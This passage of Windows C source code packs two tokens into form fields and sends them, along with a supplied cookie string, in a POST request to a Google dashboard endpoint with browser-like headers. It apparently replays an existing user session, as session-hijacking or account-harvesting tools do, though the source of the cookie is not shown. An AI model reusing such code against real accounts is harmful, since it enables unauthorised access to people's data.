    sprintf_s(pszTmp, 512, "at=%s&azt=%s&", pszToken1, pszToken2);
    pszSendBuf = GDev_EncodeURL(pszTmp);
    znfree(&pszTmp);    

    //get conn parameters
    dwRet = HttpSocialRequest(L"www.google.com",
                              L"POST",
                              L"/_/fetch/?rt=c",
                              L"Host: www.google.com\r\nConnection: keep-alive\r\nX-Same-Domain: 1\r\nOrigin: https://www.google.com\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: */*\r\nReferer: https://www.google.com/settings/dashboard",
                              443,
                              (LPBYTE)pszSendBuf,
                              strlen(pszSendBuf),
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize,
                              pszCookie);

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
    {
        znfree(&pszRecvBuffer);
    }


    return TRUE;
}

#endif